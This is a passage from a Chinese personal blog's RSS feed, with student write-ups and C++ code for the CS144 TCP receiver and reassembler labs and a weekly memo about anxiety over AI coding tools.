  if(message.SYN){
    if(!is_syn_received_){//第一次收到才设置零点
      is_syn_received_ = true;
      zero_point_ = message.seqno;
    }
  }
  if(!is_syn_received_ || !zero_point_.has_value()){
    return; //丢弃所有没有 syn 值的包
  }
  uint64_t checkpoint = reassembler_.writer().bytes_pushed();
  uint64_t abs_seqno = message.seqno.unwrap(zero_point_.value(),checkpoint);
  
  uint64_t stream_index = abs_seqno;
  if(message.SYN){
    stream_index = 0;
  }
  else{
    stream_index = abs_seqno - 1;
  }

  if(message.FIN){
    is_fin_received_ = true;
  }
  if (!message.SYN &amp;#x26;&amp;#x26; abs_seqno == 0) {
    // 忽略具有SYN序列号但不是SYN的无效数据包
    return;
  }
  reassembler_.insert(stream_index, message.payload, message.FIN);
  //debug( &quot;unimplemented receive() called&quot; );
  
}

TCPReceiverMessage TCPReceiver::send() const
{
  // Your code here.
  TCPReceiverMessage response {};
  //有错的话直接重来
  if (has_error_ || reassembler_.reader().has_error()) {
    response.RST = true;
    response.ackno = nullopt;
    return response;
  }
  
 
  uint64_t window_size = reassembler_.writer().available_capacity();
  response.window_size = min(window_size, static_cast&amp;#x3C;uint64_t&gt;(UINT16_MAX));

  // 如果连接未建立，不设置确认号
  if (!is_syn_received_ || !zero_point_.has_value()) {
    return response;
  }

  // 计算确认号
  uint64_t abs_ackno = reassembler_.writer().bytes_pushed() + 1;  // +1 是因为SYN
  
  // 如果流已结束且已完全接收，再加1（FIN占一个序列号）
  if (reassembler_.writer().is_closed()) {
    abs_ackno += 1;
  }
  
  // 转换为相对序列号
  response.ackno = zero_point_-&gt;wrap(abs_ackno, *zero_point_);
  
  return response;
  //debug( &quot;unimplemented send() called&quot; );
  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;30 个测试点，懒得截长图了，就这样吧。&lt;/p&gt;
&lt;p&gt;目前做下来，感觉对于调用封装好的能力有待加强（其实是隔一段时间做就忘了前面干了啥...)。&lt;/p&gt;</content:encoded><category>cs144</category></item><item><title>CS144-lab1</title><link>https://cry4o4n0tfound.cn/blog/cs144-lab1/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/cs144-lab1/</guid><pubDate>Mon, 31 Mar 2025 13:45:27 GMT</pubDate><content:encoded>&lt;h1&gt;cs144-lab1:&lt;/h1&gt;
&lt;p&gt;lab1 开始有那么点麻烦了...需要阅读理解封装好的模块。&lt;/p&gt;
&lt;h2&gt;配置环境：&lt;/h2&gt;
&lt;p&gt;记得做前将代码与之前 lab0 合并一下即可，至于 debug ，本地的所有测试都在 build 中，挨着测试即可。&lt;/p&gt;
&lt;p&gt;由于握手环节需要 cmu 的内部网络，所以跳过， ip-raw.cc 我就没有去实现。&lt;/p&gt;
&lt;p&gt;以下是 lab1 的实践内容：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;作为实验作业的一部分，你正在实现一个 TCP 接收器：该模块接收数据报并将其转换为可靠的字节流，以便应用程序可以从套接字中读取——就像你的 webget 程序在检查点 0 中从 web 服务器读取字节流一样。&lt;/p&gt;
&lt;p&gt;TCP 发送器将其字节流划分为短段（每个段不超过约 1,460 字节）以便它们可以放入数据报中。但是，网络可能会重新排序这些数据报，或者丢弃它们，或者多次投递它们。接收器必须将这些段重新组装成它们最初开始的连续字节流。&lt;/p&gt;
&lt;p&gt;在这个实验室中，您将编写负责此重组的数据结构：一个重组器。它将接收子字符串，由字节字符串组成，以及该字符串中第一个字节的索引，该索引位于更大的流中。流中的每个字节都有自己的唯一索引，从零开始向上计数。一旦重组器知道流中的下一个字节，它就会将其写入 ByteStream 的写入端——与您在检查点 0 中实现的相同的 ByteStream。重组器的“客户”可以从同一 ByteStream 的读取端读取。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实我们就是在这里是在实现 tcp 的重组部分，需要联系上一个 lab0 中的 byte_stream 内容。在此之前，或许回顾一下 tcp 的报文结构有助于我们实现 lab1。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/tcp.png&quot; alt=&quot;tcp报文结构&quot;&gt;&lt;/p&gt;
&lt;p&gt;而这里面与我们要实现的 Reassembler 相关联最大的两个字段就是&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;序列号 (Sequence Number)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;位置：TCP 头部的前 32 位。&lt;/li&gt;
&lt;li&gt;作用：序列号标识了数据段在整个数据流中的位置。发送端为每个数据段分配一个序列号，接收端根据序列号对数据进行排序和重组。如果数据包乱序到达，接收端会利用序列号重新排列它们。&lt;/li&gt;
&lt;li&gt;重组相关性：这是重组的核心字段，确保数据按顺序拼接。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;确认号 (Acknowledgment Number)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;位置：TCP 头部的第 33-64 位。&lt;/li&gt;
&lt;li&gt;作用：确认号表示接收端期望接收的下一个字节的序列号。它用于确认已经成功接收的数据，帮助发送端知道哪些数据需要重传。&lt;/li&gt;
&lt;li&gt;重组相关性：通过确认号，接收端可以间接通知发送端是否存在丢失的数据包，从而辅助重组过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果对于 tcp 不够熟悉，可以阅读这一篇 &lt;a href=&quot;https://juanha.github.io/2018/05/05/tcp/&quot;&gt;blog&lt;/a&gt;，或者看一看黑书的 tcp 部分也不错。&lt;/p&gt;
&lt;p&gt;而我们则需要根据序列号与确认号来构建 Reassembler。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Reassembler:&lt;/h2&gt;
&lt;p&gt;因为我们的数据包有着对应的编号，也就是模拟我们之前提到的序列号，我们可以使用有序键值对类似 map 或者 set 来实现，我采用的是 map。除此之外，我们需要维护一个 next-index（这里的 next _index 即可理解为对应的确认号）来作为重叠以及是否丢包等的判断依据。（做完 lab2 发现这样理解似乎有点问题，但在做 lab1 本身时也能凑合...)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;构造之前一定先阅读 byte_stream_helper ，明白 byte_stream 是如何调用内部派生的 writer 和 reader 接口的。理解 output_.writer() 和 output_.reader() 其实是转换出了对应的派生类。避免了多重继承复杂性，非常优雅，但是对于 c艹 掌握不好的人来说是一种痛苦...&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &quot;byte_stream.hh&quot;

class Reassembler
{
public:
  // 构建Reassembler以写入给定的ByteStream。
  explicit Reassembler( ByteStream&amp;#x26;&amp;#x26; output ) : 
  output_( std::move( output ) ),
  pending_data(),
  next_index(0),
  eof_index(0),
  eof_rec(false){}

  /*
   * 插入一个新的子字符串以重新组装到ByteStream中。
   *   `first_index`: 子字符串的第一个字节的索引
   *   `data`: 子字符串本身
   *   `is_last_substring`: 此子字符串表示流的结束
   *   `output`: 对Writer的可变引用
   *
   * Reassembler的任务是将索引的子字符串（可能是乱序或重叠的）重新组装回原始的ByteStream。
   * 一旦Reassembler知道流中的下一个字节，它应该立即将其写入输出。
   *
   * 如果Reassembler了解到字节适合流的可用容量但还不能写入（因为前面的字节仍然未知），
   * 它应该将它们存储在内部，直到填补了空缺。
   *
   * Reassembler应该丢弃任何超出流可用容量的字节
   * （即即使前面的空缺被填补也无法写入的字节）。
   *
   * Reassembler在写入最后一个字节后应关闭流。
   */
  void insert( uint64_t first_index, std::string data, bool is_last_substring );

  // Reassembler本身存储了多少字节？
  // 此函数仅用于测试；不要为了支持它而添加额外的状态。
  uint64_t count_bytes_pending() const;

  // 访问输出流读取器
  Reader&amp;#x26; reader() { return output_.reader(); }
  const Reader&amp;#x26; reader() const { return output_.reader(); }

  // 访问输出流写入器，但仅为const（不能从外部写入）
  const Writer&amp;#x26; writer() const { return output_.writer(); }

private:
  ByteStream output_;
  std::map&amp;#x3C;uint64_t, std::string&gt;     pending_data;// 存储数据的映射
  uint64_t next_index = 0; // 下一个索引
  uint64_t eof_index = 0;
  bool eof_rec = false;
};

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于重组器的设置，我们需要考虑到以下因素。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;乱序&lt;/strong&gt;: 缓存并排序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;丢失&lt;/strong&gt;: 请求重传。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重复&lt;/strong&gt;: 丢弃冗余。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重叠&lt;/strong&gt;: 裁剪多余。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大小异常&lt;/strong&gt;: 截断或丢弃。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中断&lt;/strong&gt;: 停止重组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过在 lab1 中我们不用考虑这么全面，只需要考虑其中的一部分。&lt;/p&gt;
&lt;p&gt;而在这里我们需要考虑的是5个值构建出来的区域：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint64_t first_index;
uint64_t len = data.size();
uint64_t next_index;
uint64_t count = count_bytes_pending();
uint64_t available = output_.writer().available_capacity();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实现：&lt;/h3&gt;
&lt;p&gt;分析实验指导书上给出的示意图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/storage.png&quot; alt=&quot;存储结构&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是整个 lab1 中象征存储的部分其实有三个，因为我们在 Reassembler 中并没有涉及到 pop 相关的操作：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;//两个依据 bytestream 中定义构建出来的数据
total_capacity = output_.writer().available_capacity() + output_.reader().bytes_buffered();

available_space = output_.writer().available_capacity();

//以及我们定义的 pending_data 用来存储还没 push 到 writer 中的值
pending_data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以对于我们需要满足以上的所有逻辑，比如对于 available_space ，其实模拟的是我们的接收窗口 rwnd:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt; // 如果缓冲区已满，不存储任何未来数据，直接返回
  if (available_space == 0) {
    return; 
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按照道理来说，我们应该可以存储在 pending_data 中，但实际上，我们需要模仿 tcp 的流量控制，所以不能存储。&lt;/p&gt;
&lt;blockquote&gt;
&lt;h3&gt;TCP流量控制原理&lt;/h3&gt;
&lt;p&gt;在TCP协议中，接收窗口(receive window)是一个关键概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接收窗口大小表示接收方当前愿意接收的数据量&lt;/li&gt;
&lt;li&gt;当接收窗口为0时，发送方必须停止发送数据&lt;/li&gt;
&lt;li&gt;只有当接收方处理了一些数据并增加了窗口大小，发送方才能继续发送&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;同样的，我们也需要遵循存储限制：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;if (new_index &gt; next_index &amp;#x26;&amp;#x26; new_index - next_index + len &gt; total_capacity) {
    if (new_index - next_index &gt;= total_capacity) {
      return;  // 确实超出范围才返回
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;细节：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;整个流中第一个字节的索引是多少？Zero.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;指导书上简化了我们对于重组的处理，由于第一个传来的是0，而我们默认一定会将其推送出去。比较明显的是，next_index 应该在我们能连续处理数据时才更新。&lt;/p&gt;
&lt;p&gt;之后的动作均是检查存储空间是否足够，足够便推送，不够就丢弃的思维来写，需要仔细考虑的部分就是重叠该如何处理，如果有很多重叠数据的话可能会造成很多内存浪费。&lt;/p&gt;
&lt;p&gt;完整代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &quot;reassembler.hh&quot;
#include &quot;debug.hh&quot;

using namespace std;

void Reassembler::insert(uint64_t first_index, string data, bool is_last_substring)
{
  debug(&quot;unimplemented insert({}, {}, {}) called&quot;, first_index, data, is_last_substring);
  // 先检查索引是否在合理范围内
  // 如果first_index大于当前索引加上可用容量，直接丢弃
  if (first_index &gt; next_index + output_.writer().available_capacity()) {
    // 只处理is_last_substring标志
    if (is_last_substring) {
      eof_rec = true;
      eof_index = first_index + data.size();
      
      if (next_index &gt;= eof_index) {
        output_.writer().close();
      }
    }
    return; // 直接返回，不存储数据
  }
  // note: 一定先判断发过来的字节流类型，以及是否是最后一串字节流
  if (data.empty()) {
    if (is_last_substring) {
      eof_rec = true;
      eof_index = first_index;
      
      if (next_index &gt;= eof_index) {
        output_.writer().close();
      }
    }
    return;
  }

  uint64_t len = data.size();
  
  // 处理EOF标记
  if (is_last_substring) {
    eof_rec = true;
    eof_index = first_index + len;
    
    if (next_index &gt;= eof_index) {
      output_.writer().close();
    }
  }

  // 获取可处理的容量限制
  uint64_t total_capacity = output_.writer().available_capacity() + output_.reader().bytes_buffered();
  uint64_t available_space = output_.writer().available_capacity();
  
  // 如果缓冲区已满，不存储任何未来数据，直接返回
  if (available_space == 0) {
    return; 
  }
  /* note:数据重叠处理是最复杂的部分，因为都避免重复状态，所以都细致思考*/
  // 处理数据重叠部分 - 先处理与前面数据的重叠
  uint64_t new_index = first_index;
  
  // 如果起始位置在已处理数据之前，调整起始位置
  if (first_index &amp;#x3C; next_index) {
    // 完全重叠，直接丢弃
    if (first_index + len &amp;#x3C;= next_index) {
      return;
    }
    // 部分重叠，截取未处理部分
    uint64_t offset = next_index - first_index;
    data = data.substr(offset);
    new_index = next_index;
    len = data.size();
  }
  
  // 检查重叠情况 - 与pending_data中已有数据比较
  auto upper_bound = pending_data.upper_bound(new_index);
  if (upper_bound != pending_data.begin()) {
    auto prev = upper_bound;
    --prev;
    
    // 检查与前一个片段的重叠
    if (prev-&gt;first &amp;#x3C;= new_index &amp;#x26;&amp;#x26; new_index &amp;#x3C; prev-&gt;first + prev-&gt;second.size()) {
      // 有重叠，调整起始位置
      uint64_t overlap = prev-&gt;first + prev-&gt;second.size() - new_index;
      if (overlap &gt;= len) {
        // 完全被包含，丢弃
        return;
      }
      data = data.substr(overlap);
      new_index += overlap;
      len = data.size();
    }
  }
  
  // 处理与后续片段的重叠
  auto it = pending_data.lower_bound(new_index);
  while (it != pending_data.end() &amp;#x26;&amp;#x26; new_index + len &gt; it-&gt;first) {
    if (it-&gt;first &amp;#x3C; new_index + len) {
      if (new_index + len &gt;= it-&gt;first + it-&gt;second.size()) {
        // 当前数据完全覆盖了这个片段
        pending_data.erase(it++);
      } else {
        // 部分重叠，截断当前数据
        len = it-&gt;first - new_index;
        data = data.substr(0, len);
        break;
      }
    } else {
      break;
    }
  }
  
  // 检查是否超出总容量限制
  if (new_index &gt; next_index &amp;#x26;&amp;#x26; new_index - next_index + len &gt; total_capacity) {
    if (new_index - next_index &gt;= total_capacity) {
      return;  // 确实超出范围才返回
    }
    uint64_t available = total_capacity - (new_index - next_index);
    data = data.substr(0, available);
    len = data.size();
  }

  // 处理数据写入
  if (new_index == next_index) {
    // 检查可用容量
    if (available_space &gt;= len) {
      // 有足够容量，直接写入
      output_.writer().push(data);
      next_index += len;
    } else {
      // 容量不足，只写入能写入的部分，剩余部分丢弃
      string write_data = data.substr(0, available_space);
      output_.writer().push(write_data);
      next_index += available_space;
      // 不存储剩余部分到pending_data
    }
    
    // 查找并处理后续连续片段
    bool found_next = true;
    while (!pending_data.empty() &amp;#x26;&amp;#x26; found_next &amp;#x26;&amp;#x26; output_.writer().available_capacity() &gt; 0) {
      found_next = false;
      auto next_it = pending_data.find(next_index);
      if (next_it != pending_data.end()) {
        // 检查可用容量
        uint64_t avail = output_.writer().available_capacity();
        string pending_data_str = next_it-&gt;second;
        
        if (avail &gt;= pending_data_str.size()) {
          // 能全部写入
          output_.writer().push(pending_data_str);
          next_index += pending_data_str.size();
          pending_data.erase(next_it);
          found_next = true;
        } else if (avail &gt; 0) {
          // 只能部分写入，剩余部分丢弃
          string write_part = pending_data_str.substr(0, avail);
          output_.writer().push(write_part);
          next_index += avail;
          pending_data.erase(next_it);
          // 不存储剩余部分
          break; 
        } else {
          break;
        }
      }
    }
  } else if (!data.empty() &amp;#x26;&amp;#x26; new_index &gt; next_index) {
    // 确保new_index与next_index之间的距离加上数据长度不超过总容量
    if (new_index - next_index + len &amp;#x3C;= total_capacity &amp;#x26;&amp;#x26; available_space &gt; 0) {
      // 存入pending_data
      pending_data[new_index] = data;
    }
    // 否则丢弃数据
  }
  
  // 检查是否需要关闭流
  if (eof_rec &amp;#x26;&amp;#x26; next_index &gt;= eof_index) {
    output_.writer().close();
  }
  return;
}

uint64_t Reassembler::count_bytes_pending() const
{
  debug(&quot;unimplemented count_bytes_pending() called&quot;);
  uint64_t count = 0;
  for (const auto&amp;#x26; pair : pending_data) {
    count += pair.second.size();
  }
  return count;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;测试结果:&lt;/h3&gt;
&lt;p&gt;可以看到测试还算不错。不过由于没有做模块化处理，可能会显得有些赘余，俗称💩山。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/test1.png&quot; alt=&quot;测试结果&quot;&gt;&lt;/p&gt;</content:encoded><category>cs144</category></item><item><title>Memos 8 : ai 带来的焦虑</title><link>https://cry4o4n0tfound.cn/blog/memos-8-ai-%E5%B8%A6%E6%9D%A5%E7%9A%84%E7%84%A6%E8%99%91/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-8-ai-%E5%B8%A6%E6%9D%A5%E7%9A%84%E7%84%A6%E8%99%91/</guid><pubDate>Mon, 24 Mar 2025 23:15:21 GMT</pubDate><content:encoded>&lt;h2&gt;前言：&lt;/h2&gt;
&lt;p&gt;完成了 CS144 的 Lab0，推送上去后随手一看，发现上次的周记已经是三周前的事了，不禁感叹时间过得飞快。其实上周就有些想写的内容，但因为&lt;s&gt;想偷懒&lt;/s&gt;想精益求精，就一直拖着没写。正好趁着做完 Lab 的空档记录一些有趣的事情，当作休息。（不过最近总有种“腹泻式更新”的感觉……罢了，反正也主要是写给自己看的。）&lt;/p&gt;
&lt;h2&gt;AI 带来的焦虑&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Just do it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这几周 AI 给我带来了不小的焦虑。从 Flowith 到 Manus 再到 OpenManus，AI Agent 的进化速度惊人，尤其是在推特上关注了许多科技博主后，总觉得自己每天都在见证历史。而 AI Agent 越强，我就越害怕自己以后会被 AI 替代。至少相比我这种“低端”程序员来说，AI 确实强太多了……&lt;/p&gt;
&lt;p&gt;比如目前这个博客的样式，大约 80% 是 Cursor 靠 cursor 的天赋，我只是贡献了 20% 的努力替它改改 bug 什么的。如果完全靠自己修改 Hexo 的框架，得先弄清楚目录结构和基本生成流程，这相当繁琐——但有了 Cursor，我只需要：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/monkey.PNG&quot; alt=&quot;大脑抽离式编程&quot;&gt;&lt;/p&gt;
&lt;p&gt;虽然它偶尔还是会出现奇怪的 bug，以及一些莫名其妙的幻觉，但配合我蹩脚的 CSS 和 JS 技术修修补补，也算勉强能用。（本来还想改下图标，但想到上传 SVG 太麻烦，就又搁置了……）今天再看博客界面，有点忍不住，于是优化了一遍——包括但不限于调整头图、页脚，添加文章卡片摘要，还改了改之前让 Claude 随便选的标签图标。&lt;/p&gt;
&lt;p&gt;但让我难绷的是，现在 Hexo 主题下的 custom.css 已经臃肿不堪，打开浏览器的开发者工具就能看到无数行无效的 CSS，这是 Cursor 和我共同堆砌💩山代码的下场，导致整个样式的维护变得极其麻烦……以至于我再也不想改了。现在的 Hexo Fluid 主题已经被我改得面目全非，能提交已经很不错了，能撑一天是一天。&lt;/p&gt;
&lt;p&gt;从某种意义上来说，AI 正在砸我的饭碗。但很显然，我也无可奈何，最好的办法就是积极拥抱并使用它。就像我在 &lt;a href=&quot;https://cry4o4n0tfound.cn/2025/03/24/CS144-lab0/#%E6%80%BB%E7%BB%93&quot;&gt;Lab0&lt;/a&gt; 里提到的，我现在的工作更像是架构设计——&lt;strong&gt;我需要知道项目如何规划，至于具体实现细节，不需要掌握得太深（当然，基本理解还是必要的）。&lt;/strong&gt; 这使得编程变得更像 OOP，只不过封装类的角色变成了 AI，它直接封装了程序 😂。&lt;/p&gt;
&lt;p&gt;虽然我对那些声称“从未学过编程但一下午用 Cursor 做了个 App”的博主保持怀疑态度，但不得不承认，AI 确实极大降低了编程门槛。&lt;a href=&quot;https://jyywiki.cn/OS/2025/&quot;&gt;jyy&lt;/a&gt; 今年的操作系统课也做出了“违背祖宗的决定”——不再讲内核，而是结合 AI 教学，砍掉了所有传统的 OS 项目，改为更多的 MiniLab，让大家学会如何高效使用 AI，而不是往年一直倡导的去看  man 手册。&lt;/p&gt;
&lt;p&gt;一边焦虑，一边前行，在焦虑中前行，这或许才是 AI 时代计算机学生的真实状态。至于未来会怎样？&lt;/p&gt;
&lt;p&gt;我目前也只能不停地告诉我自己——Just do it！&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;读论文有感：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;世界就是一个巨大的草台班子。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就在上周，一位学长邀请我去参加信安作品赛，思考了一会儿还是答应了。一来是上大学以来还没怎么参加过大型的比赛，大多都是校级的奖项，之前有人邀请去打数模也没有去，参加这个，也能为自己的大学生活增加体验；二来则是想见识一下这种作品赛到底会是怎么个流程，因为内容看起来有些唬人：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/competition.png&quot; alt=&quot;某年的作品赛&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是顺利找导师开了题（听说这位老师很会 push，不过具体情况还得看后续 🤔）。开题之后，导师先发了几篇论文让我读，而阅读体验可以总结为——&lt;strong&gt;这个世界就是一个巨大的草台班子&lt;/strong&gt;，完全颠覆了我以往对论文高大上的想象（其实也算高大上...但就是那种华而不实的感觉）。&lt;/p&gt;
&lt;p&gt;总共 6 篇论文，每一篇都是关于 AI 安全中的后门攻击，读起来毫无乐趣可言。大多数只是在前人研究的基础上改了些参数，然后发表了一些大概率一辈子都不会应用的东西……&lt;/p&gt;
&lt;p&gt;并不是说这些研究没有价值，毕竟科研就是这样，为了毕业而发论文无可厚非。但我只是单纯觉得，这样的事情太无趣了。把热情消磨在这些大概率毫无实际意义的研究上，仅仅是为了换一张“被社会承认的”文凭，如果以后研究生也要做这种事，我肯定会抑郁。&lt;/p&gt;
&lt;p&gt;周末还被学院拉去学术会议充数（虽然中途借口上厕所溜了），听了一些研究生的汇报。他们磕磕巴巴地读着论文，解释复杂的数学公式，还要被老师拷问得支支吾吾，心里莫名泛起一丝心酸……&lt;/p&gt;
&lt;p&gt;希望比赛期间不会被论文逼到崩溃 (。_。)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;记忆碎片：&lt;/h2&gt;
&lt;p&gt;以下节选了一些这几周的记忆碎片：&lt;/p&gt;
&lt;h3&gt;唱歌：&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/sing.png&quot; alt=&quot;人生的第一桶金！&quot;&gt;&lt;/p&gt;
&lt;p&gt;和室友一起去师大食堂吃饭时心血来潮，或者说是最 e 人的一次，跑去上面唱了首 &lt;em&gt;贝加尔湖畔&lt;/em&gt; ，成功拿到 20 元代金券😂，人生的第一桶金竟然是在食堂赚的（bushi&lt;/p&gt;
&lt;p&gt;下学期就去参加十佳歌手大赛（口嗨版）&lt;/p&gt;
&lt;h3&gt;写 c 艹 有感：&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/Isnt_CPP_Fun.jpeg&quot; alt=&quot;Isnt_CPP_Fun&quot;&gt;&lt;/p&gt;
&lt;p&gt;越是深入越是被它奇怪的语法特性感到无语...rust 写到后面至少应该还能保障内存安全，所以语法复杂还能理解，而你 cpp 能干什么，除了给我干出内存泄漏那一箩筐事情😥。&lt;/p&gt;
&lt;p&gt;可是让人感到遗憾的是，csdiy 上很多优质课程的 lab 都是基于 cpp 的，让 cpp 成为了我不得不品的一环。&lt;/p&gt;
&lt;p&gt;后面一有机会我肯定把它扔了!!!&lt;/p&gt;
&lt;h3&gt;穿越时空的少女：&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/girl.JPG&quot; alt=&quot;穿越时空的少女&quot;&gt;&lt;/p&gt;
&lt;p&gt;从挎包里偶然掉出来，是我妹妹当时背着我包去电影院看哪吒顺手送的没拿出来（也能看出重映票房不太好，看别的都能送了😂。）&lt;/p&gt;
&lt;p&gt;我对于这个片子的印象源于高中看完发了条说说，一晃又是好几年，人老了就是喜欢感慨时间。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下次见✋，接下来很长一段时间估计都有得忙了，要一手抓这个一手抓那个的，化身千手观音...尽量有时间就稍微写一写吧。&lt;/p&gt;</content:encoded><category>week</category></item><item><title>CS144-lab0</title><link>https://cry4o4n0tfound.cn/blog/cs144-lab0/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/cs144-lab0/</guid><pubDate>Mon, 24 Mar 2025 22:45:27 GMT</pubDate><content:encoded>&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;cs144 的目的是带我们实现一个属于自己的 tcp/ip 协议栈。&lt;/p&gt;
&lt;p&gt;完整项目地址：&lt;a href=&quot;https://github.com/cry0404/minnow&quot;&gt;https://github.com/cry0404/minnow&lt;/a&gt; (显然是后面来补的😁)&lt;/p&gt;
&lt;p&gt;对应的实验指导在这里：&lt;a href=&quot;https://cs144.github.io/&quot;&gt;https://cs144.github.io/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于我采用的是 minnow 版（据说似乎要比 sponge 更简单一点?），所以环境配置就下载了一个 ubuntu24.04 的裸机，在本地的 vmware 中运行。只简单的配置了点命令补充（最后换成了 starship + fish) 。由于现在 ai 太好用了，根本没用到 doxygen 这种工具，直接让 ai 总结就行。&lt;/p&gt;
&lt;p&gt;lab 0 就是带你熟悉环境配置，分别带我们体验了 telnet 以及 netcat 、 traceroute 这些基础的工具。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;获取网页:&lt;/h2&gt;
&lt;p&gt;在网页浏览器中，访问 &lt;a href=&quot;http://cs144.keithw.org/hello&quot;&gt;http://cs144.keithw.org/hello&lt;/a&gt; 。然后在 telnet 中实现同样的过程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/%E8%AF%B7%E6%B1%82%E7%BD%91%E9%A1%B5.png&quot; alt=&quot;telnet&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到成功访问了。但需要注意的是，在这里&lt;strong&gt;telnet 中的手速一定要快，不然连接会断掉。&lt;/strong&gt;（早在 thm 的房间里就被此深深折磨过，以及这里的 quit 是错误用法，但正确的我也忘了，文档上似乎有写，反正无关紧要）。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;使用 netcat 与 telnet ：&lt;/h2&gt;
&lt;p&gt;非常简单的操作，按照流程来即可以了。这里的 netcat 就相当于我们访问的 web 服务器，而 telnet 则是充当了浏览器的作用，帮助我们去请求。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/netcat.png&quot; alt=&quot;netcat&quot;&gt;&lt;/p&gt;
&lt;p&gt;并且在这里连接就不会中断，因为你是在本地监听，所以手速稍微放慢一点也没关系啦。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;使用操作系统流套接字编写网络程序：&lt;/h2&gt;
&lt;p&gt;前面的 git 推送没什么好说的。如果你对 git 操作不熟悉的话，那么我推荐你阅读这本&lt;a href=&quot;https://beej.us/guide/bggit/&quot;&gt;gitbook&lt;/a&gt;，或者多问问 ai 也是一个不错的选择。&lt;/p&gt;
&lt;p&gt;cs144 对实验流程做了一些建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://en.cppreference.com&quot;&gt;C++ 参考文档&lt;/a&gt; 作为资源。（我们建议避免使用 &lt;code&gt;cplusplus.com&lt;/code&gt;，因为它可能已经过时。）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;永远不要&lt;/strong&gt; 使用 &lt;code&gt;malloc()&lt;/code&gt; 或 &lt;code&gt;free()&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;永远不要&lt;/strong&gt; 使用 &lt;code&gt;new&lt;/code&gt; 或 &lt;code&gt;delete&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本上不要使用原始指针 (&lt;code&gt;*&lt;/code&gt;)，只在必要时使用“智能”指针（&lt;code&gt;unique_ptr&lt;/code&gt; 或 &lt;code&gt;shared_ptr&lt;/code&gt;）。（你在 CS144 课程中不会需要使用这些。）&lt;/p&gt;
&lt;/li&gt;
